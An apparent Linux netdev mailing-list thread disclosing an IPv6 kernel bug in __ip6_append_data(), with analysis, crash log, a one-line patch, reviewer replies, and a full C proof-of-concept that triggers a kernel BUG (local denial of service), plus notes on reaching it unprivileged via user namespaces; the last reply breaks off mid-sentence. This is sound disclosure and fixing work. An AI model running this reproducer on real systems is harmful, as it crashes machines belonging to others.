Netdev List
 help / color / mirror / Atom feed
* ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)
@ 2026-10-26 10:54 平之
  2026-10-26 11:46 ` Greg KH
  0 siblings, 1 reply; 6+ messages in thread
From: 平之 @ 2026-10-26 10:54 UTC (permalink / raw)
  To: netdev; +Cc: David S. Miller, YOSHIFUJI, Ahern, stable, security

To:      netdev@vger.kernel.org
Cc:      "David S. Miller" <davem@davemloft.net>,
         Hideaki YOSHIFUJI <yoshfuji@linux-ipv6.org>,
         David Ahern <dsahern@kernel.org>,
         stable@vger.kernel.org,
         security@kernel.org
Subject: ipv6: skb_over_panic in __ip6_append_data() when
         mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)

Hi David, Hideaki, David,

While auditing __ip6_append_data() I found that one half of its MTU
guard has been dead code since the initial git import, and that the
window it fails to close allows an unprivileged-triggerable
skb_over_panic (kernel BUG) with a single sendmsg() on a raw IPv6
socket.  Reproduced on Ubuntu 7.3.0-9-generic (aarch64, QEMU virt);
the code is unchanged in v7.4-rc1.

The reproducer is ~170 lines of plain C (libc + kernel uapi headers
only), fully self-contained - it creates its own egress device - and
is inlined in section 6.  A suggested one-line fix is in section 5.

For context: parts of the code audit were AI-assisted, but the
analysis and the crash below are mine, reproduced on a real system.


1. Affected versions
--------------------

The guard and the computation below it exist since 1da177e4c3f4
("Linux-2.6.12-rc2", initial git import, 2005).

Commit 5e34af4142ff ("net: ipv6: fix skb_over_panic in
__ip6_append_data", 2022, syzbot id 205d6f11) fixed the
mtu == fragheaderlen boundary of the first half of the guard, but
left the second half - which is dead code (see below) - untouched.

Still present in v7.4-rc1 (code inspection); reproduced on Ubuntu
7.3.0-9-generic.  I diffed net/ipv6/ip6_output.c between v7.0 and
v7.4-rc1: the relevant expressions are unchanged.


2. Problem description
----------------------

The chain has four steps, all in net/ipv6/ip6_output.c (line numbers
from v7.3-rc5).

(a) Dead guard (:1502-1504):

        fragheaderlen = sizeof(struct ipv6hdr) + rt->rt6i_nfheader_len +
                        (opt ? opt->opt_nflen : 0);      /* >= 40 */

        if (mtu <= fragheaderlen ||
            ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
                goto emsgsize;

The second condition can never be true: (x & ~7) is unsigned and
>= 0, and fragheaderlen >= sizeof(struct ipv6hdr) = 40 >
sizeof(struct frag_hdr) = 8, so the left side is always >= 40 and the
comparison against 8 never fires.  Only the first half
(mtu <= fragheaderlen) actually guards anything.

(b) Underflow (:1506-1507):

        maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
                     sizeof(struct frag_hdr);

For mtu - fragheaderlen in [1,7], (x & ~7) == 0 and

        maxfraglen = fragheaderlen - 8 < fragheaderlen.

(c) Clamp bypass (:1650-1654, inside the fragment loop):

        datalen = length + fraggap;
        if (datalen > (cork->length <= mtu ? mtu : maxfraglen) - fragheaderlen)
                datalen = maxfraglen - fragheaderlen - rt->dst.trailer_len;

cork->length += length runs at :1614, before the loop, so on the
first sendmsg() with a payload larger than mtu the clamp boundary is

        maxfraglen - fragheaderlen = (fragheaderlen - 8) - fragheaderlen
                                   = 0xfffffff8   (unsigned int)

and no realistic datalen is ever greater than it: the clamp never
fires, so fraglen = datalen + fragheaderlen escapes the MTU
constraint entirely.  Note this means a single sendmsg() suffices -
no multi-cork length climbing is needed, because cork->length
already includes the whole payload when the clamp runs.

(d) Allocation mismatch (:1668, :1721):

        if ((flags & MSG_MORE) &&
            !(rt->dst.dev->features & NETIF_F_SG))
                alloclen = mtu;                       /* 1281 */
        ...
        data = skb_put(skb, fraglen - pagedlen);      /* 61280 */

skb_put() detects the overflow (tail 61304 > end 1728) and calls
skb_over_panic() -> BUG().  The overflow is caught before any write,
so this is a kernel BUG / local DoS, not silent memory corruption.


3. Trigger conditions
---------------------

* Raw IPv6 socket (CAP_NET_RAW; obtainable inside a user namespace).
* IPV6_MTU setsockopt = fragheaderlen + [1..7].  net/ipv6/sockglue.c
  only rejects val && val < IPV6_MIN_MTU, so 1281 is accepted.
* A large HOPOPTS cmsg (requires ns_capable(CAP_NET_RAW)):
  hdrlen = 154 gives opt_nflen = (154 + 1) * 8 = 1240, so
  fragheaderlen = 40 + 1240 = 1280 and IPV6_MTU = 1281 puts the
  difference at 1.  The RFC 7112 first-fragment check
  (headersize + transhdrlen > mtu) passes for raw sockets because
  rawv6_sendmsg() passes transhdrlen = 0; UDP (transhdrlen = 8)
  cannot reach this path.
* An egress route whose device does NOT have NETIF_F_SG.  With SG
  the data goes to the paged allocation path and nothing overflows.
  Caveat for reproducers: nlmon looks like an obvious choice but
  does NOT work - nlmon_setup() explicitly sets
  NETIF_F_SG | NETIF_F_FRAGLIST | NETIF_F_HIGHDMA.  SLIP
  (features = 0) works; the reproducer below creates one itself via
  a pty and the N_SLIP line discipline.
* A single sendmsg() with MSG_MORE and a payload larger than mtu.


4. Reproduced crash
-------------------

Ubuntu 7.3.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC, aarch64, QEMU
virt machine, running the reproducer from section 6 as root:

[   37.607813] skbuff: skb_over_panic: text:ffffd5aad9272ba8 len:61280 put:61280 head:ffff00001f736000 data:ffff00001f736018 tail:0xef78 end:0x6c0 dev:<NULL>
[   37.607855] ------------[ cut here ]------------
[   37.607856] kernel BUG at net/core/skbuff.c:214!
[   37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP
[   37.611485] CPU: 3 UID: 0 PID: 1378 Comm: ipv6_maxfraglen Not tainted 7.3.0-9-generic #9-Ubuntu PREEMPT(lazy)
[   37.612619] pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)
[   37.612619] pc : skb_panic+0x5c/0x60
[   37.613172] sp : ffff800080ad3430
[   37.614181] x21: 000000000000ea60 x22: 00000000000004f8
[   37.616606] Call trace:
[   37.616606]  skb_panic+0x5c/0x60 (P)
[   37.616778]  skb_put+0x9c/0xa8
[   37.616952]  __ip6_append_data+0xf80/0x1948
[   37.617172]  ip6_append_data+0x94/0x2a8
[   37.617363]  rawv6_sendmsg+0x588/0x988
[   37.617716]  inet_sendmsg+0x4c/0xa8
[   37.617891]  ____sys_sendmsg+0x268/0x308
[   37.618105]  ___sys_sendmsg+0xb4/0x140
[   37.618299]  __sys_sendmsg+0xa8/0x140

The numbers match the analysis exactly:

  put:61280 = 60000 (payload) + 1280 (fragheaderlen)
  tail:0xef78 = 61304 = skb_reserve(24) + 61280
  x21:0xea60 = 60000 (the unclamped payload length still in a register)

Negative control: the same reproducer with IPV6_MTU = 1288
(difference 8, outside [1,7]) does not crash.


5. Suggested fix
----------------

From: bo cao <treebacker@foxmail.com>
Date: Mon, 26 Oct 2026 17:30:00 +0800
Subject: [PATCH] ipv6: fix dead half of the MTU guard in
 __ip6_append_data()

The second half of the MTU guard in __ip6_append_data() has been
dead code since the initial git import:

        if (mtu <= fragheaderlen ||
            ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
                goto emsgsize;

(x & ~7) is unsigned and >= 0, and fragheaderlen >=
sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
second condition is always false.  5e34af4142ff ("net: ipv6: fix
skb_over_panic in __ip6_append_data") tightened the first half but
left the dead second half in place.

For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so

        maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8

underflows below fragheaderlen.  Every later bound computed as
maxfraglen - fragheaderlen wraps to 0xfffffff8, in particular the
datalen clamp inside the fragment loop, which then never fires:
fraglen escapes the MTU constraint.  With MSG_MORE on an egress
device without NETIF_F_SG, alloclen = mtu while skb_put() is called
with fraglen, so a single sendmsg() on a raw IPv6 socket with a
large HOPOPTS cmsg and IPV6_MTU = fragheaderlen + 1 triggers:

  skbuff: skb_over_panic: len:61280 put:61280 ...
  kernel BUG at net/core/skbuff.c
  skb_put __ip6_append_data ip6_append_data rawv6_sendmsg

Replace the dead expression with a direct check of the payload space
available for a fragment.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: bo cao <treebacker@foxmail.com>
---
 net/ipv6/ip6_output.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
@@ -1498,7 +1498,7 @@ static int __ip6_append_data(struct sock *sk,
 	headersize = sizeof(struct ipv6hdr) +
 		     (opt ? opt->opt_flen + opt->opt_nflen : 0) +
 		     rt->rt6i_nfheader_len;

 	if (mtu <= fragheaderlen ||
-	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
+	    mtu - fragheaderlen <= sizeof(struct frag_hdr))
 		goto emsgsize;

 	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
-- 
2.x.x

(Line numbers from v7.3-rc5; hard tabs preserved in this message.)

Two notes on the fix:

- ip6_append_data_mtu() recomputes maxfraglen with the same formula
  but is only reached after the entry guard has passed, so fixing
  the guard is sufficient; I left it untouched to keep the patch
  minimal.
- The residual window mtu - fragheaderlen in [9,15] still produces
  zero-payload fragment loops that spin until the socket write
  budget is exhausted (-ENOBUFS) - annoying, but not memory-unsafe.
  If you prefer, the check could reject up to 15 instead of 8 to
  also kill that wart; I kept the minimal form since the memory
  unsafety ends at 8.


6. Reproducer
-------------

Self-contained C program (libc + kernel uapi headers only).  It
creates its own SLIP egress device via a pty and the N_SLIP line
discipline (features = 0, no NETIF_F_SG), configures the route, and
issues the single trigger sendmsg().  Run as root (needs the slip
module; on Ubuntu: modprobe slip).

Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
Run:   ./poc            # crashes the kernel

Run on a test system only: on kernels with panic_on_oops this
panics the machine 

// SPDX-License-Identifier: GPL-2.0
/*
 * ipv6_maxfraglen_poc.c - skb_over_panic in __ip6_append_data()
 *
 * A single sendmsg(MSG_MORE) on a raw IPv6 socket triggers:
 *
 *   skbuff: skb_over_panic: len:61280 put:61280 ...
 *   kernel BUG at net/core/skbuff.c (skb_panic)
 *   Call trace: skb_put <- __ip6_append_data <- ip6_append_data
 *               <- rawv6_sendmsg <- __sys_sendmsg
 *
 * Why (net/ipv6/ip6_output.c, unchanged since the 2005 initial import
 * apart from the 2022 mtu == fragheaderlen fix):
 *
 *   fragheaderlen = 40 (ipv6hdr) + opt_nflen (HOPOPTS cmsg)
 *   With mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
 *     maxfraglen = fragheaderlen - 8 < fragheaderlen   (underflow)
 *   The datalen clamp compares against
 *     maxfraglen - fragheaderlen  == 0xfffffff8 (unsigned)
 *   so it never fires: fraglen = payload + fragheaderlen escapes the
 *   MTU constraint.  On a !NETIF_F_SG egress device with MSG_MORE,
 *   alloclen = mtu (1281) but skb_put(fraglen = 61280) -> panic.
 *
 * Trigger values used here:
 *   IPV6_MTU = 1281, HOPOPTS hdrlen = 154 -> opt_nflen = 1240
 *   fragheaderlen = 1280, mtu - fragheaderlen = 1  (inside [1,7])
 *
 * The egress device must NOT have NETIF_F_SG (with SG the data goes
 * to the paged path and nothing overflows; nlmon has SG and does not
 * work).  This PoC creates its own SLIP device (features = 0) via a
 * pty with the N_SLIP line discipline.
 *
 * Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
 * Run:   ./poc      (root; requires the slip module: modprobe slip)
 *
 * Negative control: change MTU_VAL to 1288 (difference 8, outside the
 * window) - the same program returns quietly, no crash.
 */
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifdef __linux__
#include <linux/tty.h>
#endif

#ifndef IPV6_MTU
#define IPV6_MTU 24
#endif
#ifndef TIOCSETD
#define TIOCSETD 0x5423
#endif
#ifndef N_SLIP
#define N_SLIP 1
#endif
#ifndef IPV6_HOPOPTS
#define IPV6_HOPOPTS 3
#endif
#ifndef MSG_MORE
#define MSG_MORE 0x8000
#endif

#define MTU_VAL    1281                 /* fragheaderlen + 1 */
#define HBH_LEN    1240                 /* (154 + 1) * 8 */
#define DST_ADDR   "2001:db8:dead::1"

/* find the slX device created by the N_SLIP line discipline */
static int find_slipdev(char *buf, size_t sz)
{
	struct dirent *e;
	DIR *d = opendir("/sys/class/net");

	buf[0] = 0;
	if (!d)
		return 0;
	while ((e = readdir(d)))
		if (!strncmp(e->d_name, "sl", 2) && e->d_name[2] >= '0' &&
		    e->d_name[2] <= '9') {
			snprintf(buf, sz, "%s", e->d_name);
			break;
		}
	closedir(d);
	return buf[0] != 0;
}

int main(void)
{
	static char payload[60000];
	static char cbuf[CMSG_SPACE(HBH_LEN)];
	struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
	struct msghdr msg = { 0 };
	struct cmsghdr *cmsg;
	unsigned char *hbh;
	char dev[IFNAMSIZ], cmd[256];
	int fd, mtu = MTU_VAL, sfd, mfd, ldisc = N_SLIP;

	/* 1. egress device without NETIF_F_SG: SLIP via pty + TIOCSETD */
	if (system("modprobe slip 2>/dev/null") != 0)
		fprintf(stderr, "modprobe slip failed, continuing anyway\n");

	mfd = posix_openpt(O_RDWR | O_NOCTTY);
	if (mfd < 0 || grantpt(mfd) < 0 || unlockpt(mfd) < 0) {
		perror("posix_openpt");
		return 1;
	}
	sfd = open(ptsname(mfd), O_RDWR | O_NOCTTY);
	if (sfd < 0) {
		perror("open pty slave");
		return 1;
	}
	if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
		perror("TIOCSETD(N_SLIP) - is the slip module loaded?");
		return 1;
	}
	if (!find_slipdev(dev, sizeof(dev))) {
		fprintf(stderr, "no sl* device appeared\n");
		return 1;
	}
	printf("[+] egress device: %s (slip, features = 0, no NETIF_F_SG)\n", dev);

	snprintf(cmd, sizeof(cmd), "ip link set %s mtu 1500 up", dev);
	system(cmd);
	snprintf(cmd, sizeof(cmd),
		 "ip -6 addr add 2001:db8:beef::1/64 dev %s 2>/dev/null", dev);
	system(cmd);
	snprintf(cmd, sizeof(cmd),
		 "ip -6 route replace 2001:db8:dead::/64 dev %s", dev);
	system(cmd);

	/* 2. raw IPv6 socket, cork MTU inside the [1,7] window */
	fd = socket(AF_INET6, SOCK_RAW, 253);
	if (fd < 0) {
		perror("socket(SOCK_RAW)");
		return 1;
	}
	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU, &mtu, sizeof(mtu)) < 0) {
		perror("setsockopt(IPV6_MTU)");
		return 1;
	}

	/* 3. HOPOPTS cmsg: hdrlen = 154 -> opt_nflen = 1240
	 *    (all-zero payload bytes are Pad1 options) */
	memset(cbuf, 0, sizeof(cbuf));
	cmsg = (struct cmsghdr *)cbuf;
	cmsg->cmsg_level = IPPROTO_IPV6;
	cmsg->cmsg_type  = IPV6_HOPOPTS;
	cmsg->cmsg_len   = CMSG_LEN(HBH_LEN);
	hbh = (unsigned char *)CMSG_DATA(cmsg);
	hbh[0] = 0;                         /* nexthdr */
	hbh[1] = 154;                       /* hdrlen */

	if (inet_pton(AF_INET6, DST_ADDR, &dst.sin6_addr) != 1) {
		perror("inet_pton");
		return 1;
	}
	msg.msg_name       = &dst;
	msg.msg_namelen    = sizeof(dst);
	msg.msg_iov        = &(struct iovec){ payload, sizeof(payload) };
	msg.msg_iovlen     = 1;
	msg.msg_control    = cbuf;
	msg.msg_controllen = sizeof(cbuf);

	printf("[*] IPV6_MTU = %d, fragheaderlen = 1280, difference = 1\n",
	       MTU_VAL);
	printf("[*] sendmsg(MSG_MORE, 60000) - expect skb_over_panic\n");
	fflush(stdout);

	/* 4. one syscall is enough: cork->length already includes the
	 *    full payload when the clamp runs, so it is bypassed */
	if (sendmsg(fd, &msg, MSG_MORE) < 0)
		fprintf(stderr, "[!] sendmsg returned %d (%s) - not triggered\n",
			errno, strerror(errno));

	/* sfd stays open: closing it would destroy the slip device */
	return 2;
}


7. Unprivileged variant
-----------------------

The trigger itself only needs CAP_NET_RAW and a non-SG egress device,
both of which an unprivileged user can obtain inside a user + network
namespace (unshare -Urn), provided the slip module is already loaded
in the host kernel (module autoload is not possible from inside a
user namespace).  I verified the code paths (sockglue.c accepts
IPV6_MTU; datagram.c checks ns_capable(net->user_ns, CAP_NET_RAW)
for the HOPOPTS cmsg) but ran the reproducer above as root.


Thanks,
bo cao

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)
  2026-10-26 10:54 ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12) 平之
@ 2026-10-26 11:46 ` Greg KH
       [not found]   ` <tencent_7454E65EE7BD1C085B6951A7D2305157370A@qq.com>
  0 siblings, 1 reply; 6+ messages in thread
From: Greg KH @ 2026-10-26 11:46 UTC (permalink / raw)
  To: 平之
  Cc: netdev, David S. Miller, YOSHIFUJI, Ahern, stable, security

On Mon, Oct 26, 2026 at 06:54:50PM +0800, 平之 wrote:
> 5. Suggested fix
> ----------------

<snip>

can you turn this into a real patch that can be applied so that you can
get proper credit for resolving this?

thanks,

greg k-h

^ permalink raw reply	[flat|nested] 6+ messages in thread

* [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data()
       [not found]     ` <2026102658-jockey-volley-94ff@gregkh>
@ 2026-10-26 12:53       ` 平之
  2026-10-26 12:56         ` netdev-bot+sinfo
                           ` (2 more replies)
  0 siblings, 3 replies; 6+ messages in thread
From: 平之 @ 2026-10-26 12:53 UTC (permalink / raw)
  To: Greg KH, netdev; +Cc: David S. Miller, YOSHIFUJI, Ahern, stable

The second half of the MTU guard in __ip6_append_data() has been dead
code since the initial git import:

	if (mtu <= fragheaderlen ||
	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
		goto emsgsize;

(x & ~7) is unsigned and >= 0, and fragheaderlen is at least
sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
second condition can never be true.  Commit 5e34af4142ff ("net: ipv6:
fix skb_over_panic in __ip6_append_data") tightened the first half
(mtu == fragheaderlen) but left the dead second half in place.

For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so

	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8

underflows below fragheaderlen.  Every later bound computed as
maxfraglen - fragheaderlen then wraps to 0xfffffff8, in particular the
datalen clamp inside the fragment loop, which never fires and lets
fraglen = datalen + fragheaderlen escape the MTU constraint.

With MSG_MORE on an egress device without NETIF_F_SG, alloclen = mtu
while skb_put() is called with the unclamped fraglen, so a single
sendmsg() on a raw IPv6 socket with a 1240-byte HOPOPTS cmsg and
IPV6_MTU = fragheaderlen + 1 triggers:

  skbuff: skb_over_panic: len:61280 put:61280 ...
[   37.607856] kernel BUG at net/core/skbuff.c:214!
[   37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP
...
[   37.616606] Call trace:
[   37.616606]  skb_panic+0x5c/0x60 (P)
[   37.616778]  skb_put+0x9c/0xa8
[   37.616952]  __ip6_append_data+0xf80/0x1948
[   37.617172]  ip6_append_data+0x94/0x2a8
[   37.617363]  rawv6_sendmsg+0x588/0x988
[   37.617716]  inet_sendmsg+0x4c/0xa8
[   37.617891]  ____sys_sendmsg+0x268/0x308
[   37.618105]  ___sys_sendmsg+0xb4/0x140
[   37.618299]  __sys_sendmsg+0xa8/0x140

Replace the dead expression with a direct check of the payload space
available in a fragment, which rejects mtu - fragheaderlen in [1,8].

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Signed-off-by: bo cao <treebacker@foxmail.com>
---
 net/ipv6/ip6_output.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
index 25fe0ba98b1a..7d4d4d45e207 100644
--- a/net/ipv6/ip6_output.c
+++ b/net/ipv6/ip6_output.c
@@ -1500,7 +1500,7 @@ static int __ip6_append_data(struct sock *sk,
 		     rt->rt6i_nfheader_len;
 
 	if (mtu <= fragheaderlen ||
-	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
+	    mtu - fragheaderlen <= sizeof(struct frag_hdr))
 		goto emsgsize;
 
 	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
-- 
2.39.5 (Apple Git-154)




原始邮件
发件人:Greg KH <greg@kroah.com>
发件时间:2026年10月26日 20:16
收件人:平之 <treebacker@foxmail.com>
主题:Re: ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)


On Mon, Oct 26, 2026 at 08:02:11PM +0800, 平之 wrote:
> Subject: [PATCH net] ipv6: fix dead half of the MTU guard in
>  __ip6_append_data()
> MIME-Version: 1.0
> Content-Type: text/plain; charset=UTF-8
> Content-Transfer-Encoding: 8bit

You sent this only to me, in an incorrect format, please fix and resend
properly.



^ permalink raw reply related	[flat|nested] 6+ messages in thread

* Re: [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data()
  2026-10-26 12:53       ` [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data() 平之
@ 2026-10-26 12:56         ` netdev-bot+sinfo
  2026-10-26 15:12         ` Willem de Bruijn
  2026-10-26 15:19         ` Willem de Bruijn
  2 siblings, 0 replies; 6+ messages in thread
From: netdev-bot+sinfo @ 2026-10-26 12:56 UTC (permalink / raw)
  To: 平之
  Cc: Greg KH, netdev, David S. Miller, YOSHIFUJI, Ahern, stable

Hi!

This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:

 - How the issue was discovered, e.g. hit in production, hit during
   development, syzbot report, manual code inspection, LLM or static
   analysis tool scan.

Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.

The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data()
  2026-10-26 12:53       ` [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data() 平之
  2026-10-26 12:56         ` netdev-bot+sinfo
@ 2026-10-26 15:12         ` Willem de Bruijn
  2026-10-26 15:19         ` Willem de Bruijn
  2 siblings, 0 replies; 6+ messages in thread
From: Willem de Bruijn @ 2026-10-26 15:12 UTC (permalink / raw)
  To: 平之, Greg KH, netdev
  Cc: David S. Miller, YOSHIFUJI, Ahern, stable

平之 wrote:
> The second half of the MTU guard in __ip6_append_data() has been dead
> code since the initial git import:
> 
> 	if (mtu <= fragheaderlen ||
> 	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
> 		goto emsgsize;
> 
> (x & ~7) is unsigned and >= 0, and fragheaderlen is at least
> sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
> second condition can never be true.  Commit 5e34af4142ff ("net: ipv6:
> fix skb_over_panic in __ip6_append_data") tightened the first half
> (mtu == fragheaderlen) but left the dead second half in place.
> 
> For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
> 
> 	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8
> 
> underflows below fragheaderlen.  Every later bound computed as
> maxfraglen - fragheaderlen then wraps to 0xfffffff8, in particular the
> datalen clamp inside the fragment loop, which never fires and lets
> fraglen = datalen + fragheaderlen escape the MTU constraint.
> 
> With MSG_MORE on an egress device without NETIF_F_SG, alloclen = mtu
> while skb_put() is called with the unclamped fraglen, so a single
> sendmsg() on a raw IPv6 socket with a 1240-byte HOPOPTS cmsg and
> IPV6_MTU = fragheaderlen + 1 triggers:
> 
>   skbuff: skb_over_panic: len:61280 put:61280 ...
> [   37.607856] kernel BUG at net/core/skbuff.c:214!
> [   37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP
> ...
> [   37.616606] Call trace:
> [   37.616606]  skb_panic+0x5c/0x60 (P)
> [   37.616778]  skb_put+0x9c/0xa8
> [   37.616952]  __ip6_append_data+0xf80/0x1948
> [   37.617172]  ip6_append_data+0x94/0x2a8
> [   37.617363]  rawv6_sendmsg+0x588/0x988
> [   37.617716]  inet_sendmsg+0x4c/0xa8
> [   37.617891]  ____sys_sendmsg+0x268/0x308
> [   37.618105]  ___sys_sendmsg+0xb4/0x140
> [   37.618299]  __sys_sendmsg+0xa8/0x140
> 
> Replace the dead expression with a direct check of the payload space
> available in a fragment, which rejects mtu - fragheaderlen in [1,8].
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Cc: stable@vger.kernel.org
> Signed-off-by: bo cao <treebacker@foxmail.com>

Reviewed-by: Willem de Bruijn <willemb@google.com>

> ---
>  net/ipv6/ip6_output.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
> index 25fe0ba98b1a..7d4d4d45e207 100644
> --- a/net/ipv6/ip6_output.c
> +++ b/net/ipv6/ip6_output.c
> @@ -1500,7 +1500,7 @@ static int __ip6_append_data(struct sock *sk,
>  		     rt->rt6i_nfheader_len;
>  
>  	if (mtu <= fragheaderlen ||
> -	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
> +	    mtu - fragheaderlen <= sizeof(struct frag_hdr))
>  		goto emsgsize;

Thanks for the patch. Not critical, but could even consider a single check:

    if (mtu <= fragheaderlen + sizeof(struct frag_hdr))

Checkers may complain that the right hand side could overflow, but in
practice fragheaderlen is bounded.

>  
>  	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
> -- 


^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data()
  2026-10-26 12:53       ` [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data() 平之
  2026-10-26 12:56         ` netdev-bot+sinfo
  2026-10-26 15:12         ` Willem de Bruijn
@ 2026-10-26 15:19         ` Willem de Bruijn
  2 siblings, 0 replies; 6+ messages in thread
From: Willem de Bruijn @ 2026-10-26 15:19 UTC (permalink / raw)
  To: 平之, Greg KH, netdev
  Cc: David S. Miller, YOSHIFUJI, Ahern, stable

平之 wrote:
> The second half of the MTU guard in __ip6_append_data() has been dead
> code since the initial git import:
> 
> 	if (mtu <= fragheaderlen ||
> 	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
> 		goto emsgsize;
> 
> (x & ~7) is unsigned and >= 0, and fragheaderlen is at least
> sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
> second condition can never be true.  Commit 5e34af4142ff ("net: ipv6:
> fix skb_over_panic in __ip6_append_data") tightened the first half
> (mtu == fragheaderlen) but left the dead second half in place.
> 
> For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
> 
> 	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8
> 
> underflows below fragheaderlen.  Every later bound computed as
> maxfraglen - fragheaderlen then wraps to 0xfffffff8, in particular the
> datalen clamp inside the fragment loop, which never fires and lets
> fraglen = datalen + fragheaderlen escape the MTU constraint.
> 
> With MSG_MORE on an egress device without NETIF_F_SG, alloclen = mtu
> while skb_put() is called with the unclamped fraglen, so a single
> sendmsg() on a raw IPv6 socket with a 1240-byte HOPOPTS cmsg and
> IPV6_MTU = fragheaderlen + 1 triggers:
> 
>   skbuff: skb_over_panic: len:61280 put:61280 ...
> [   37.607856] kernel BUG at net/core/skbuff.c:214!
> [   37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1]  SMP
> ...
> [   37.616606] Call trace:
> [   37.616606]  skb_panic+0x5c/0x60 (P)
> [   37.616778]  skb_put+0x9c/0xa8
> [   37.616952]  __ip6_append_data+0xf80/0x1948
> [   37.617172]  ip6_append_data+0x94/0x2a8
> [   37.617363]  rawv6_sendmsg+0x588/0x988
> [   37.617716]  inet_sendmsg+0x4c/0xa8
> [   37.617891]  ____sys_sendmsg+0x268/0x308
> [   37.618105]  ___sys_sendmsg+0xb4/0x140
> [   37.618299]  __sys_sendmsg+0xa8/0x140
> 
> Replace the dead expression with a direct check of the payload space
> available in a fragment, which rejects mtu - fragheaderlen in [1,8].
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")

Fixes: 6596a0229541 ("xfrm: fix MTU regression")

> Cc: stable@vger.kernel.org
> Signed-off-by: bo cao <treebacker@foxmail.com>
> ---
>  net/ipv6/ip6_output.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
> index 25fe0ba98b1a..7d4d4d45e207 100644
> --- a/net/ipv6/ip6_output.c
> +++ b/net/ipv6/ip6_output.c
> @@ -1500,7 +1500,7 @@ static int __ip6_append_data(struct sock *sk,
>  		     rt->rt6i_nfheader_len;
>  
>  	if (mtu <= fragheaderlen ||
> -	    ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
> +	    mtu - fragheaderlen <= sizeof(struct frag_hdr))
>  		goto emsgsize;


Correction: I thought a difference with ip6_fragment was benign and
this patch is still an improvement, but it seems that additionally
ensuring enough space for one octet of payload is mandatory:

